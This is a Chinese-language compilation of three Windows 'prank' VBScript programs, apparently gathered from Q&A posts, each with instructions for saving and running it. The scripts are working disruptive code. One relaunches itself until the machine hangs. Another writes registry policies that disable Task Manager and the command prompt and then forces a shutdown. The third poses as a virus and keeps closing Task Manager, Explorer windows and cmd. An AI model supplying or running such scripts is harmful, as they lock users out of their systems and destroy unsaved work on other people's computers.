① 这个VBS整人代码的威力
根据源码，是打算冒出一个框之后再无限循环执行dos命令“cmd /cecho”，但是没用呀，你又看不到这个CMD的命令
ws.run"cmd /cecho " ,0,true
这一句的数字0的意思是隐藏执行窗口。
而后面的那个true的意思是要等前面打开的CMD运行完毕关闭了再运行下一个CMD。
这个脚本没有威力。
如果你只是想知道这个脚本的作用，我只能说这个属于整人系列脚本，但是没什么威力可言。
如果你需要一个更简单更厉害的，请参考下面这个。
setws=createobject("wscript.shell")
fori=0to10
ws.runwscript.scriptfullname,0
next
msgbox"！！！无限弹窗开启！！！",,"【happy禾和专业打造】"以上脚本在运行前请做好强制关机的准备。会死机。
以上脚本仅供参考，帮助你认识vbs的。但请不要随便让别人运行，强制关机意味着之前的一段工作全部泡汤。
有事追问。
② 整人代码
代码如下：set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，
此代码的威力：
1：开机就强制自动关机
2：cmd命令打不开
3：结束任务不管用
4：F8安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
③ 电脑高手进 cmd整人命令制作
复制以下内容, 保存为 .VBS 文件
dim gb,jj
gb=0
set shell=createobject("wscript.shell")
DA=INPUTBOX("给你最后一个机会!"&VBCRLF&"请问美国总统"&_
"叫什么名字?","你不小心运行了脚本病毒 !!","回答错误后果自负")
IF DA="奥巴玛" THEN
MSGBOX "程序即将结束",,"回答正确!"
WSCRIPT.QUIT
END IF
MSGBOX "作为惩罚, 你将不能运行以下程序"&VBCRLF&"我的"&_
"电脑 , 我的文档 ",,"回答错误"
do
wscript.sleep 100
jj=shell.appactivate("Windows 任务管理器")
wscript.sleep 50
if jj then shell.sendkeys "%fx"
dn=shell.appactivate("我的电脑")
wscript.sleep 100
IF DN then shell.sendkeys "%{f4}"
wd=shell.appactivate("我的文档")
wscript.sleep 50
IF WD THEN SHELL.SENDKEYS "%fC"
RX=shell.appactivate("运行")
IF RX THEN SHELL.SENDKEYS "%{f4}"
hs=shell.appactivate("回收站")
wscript.sleep 50
IF HS THEN SHELL.SENDKEYS "%fc"
cmd=shell.appactivate("c:\windows\system32\cmd.exe")
wscript.sleep 50
IF cmd THEN SHELL.SENDKEYS "exit{enter}"
GB=shell.appactivate("PE格式.txt - 记事本")
wscript.sleep 50
IF GB THEN wscript.quit
loop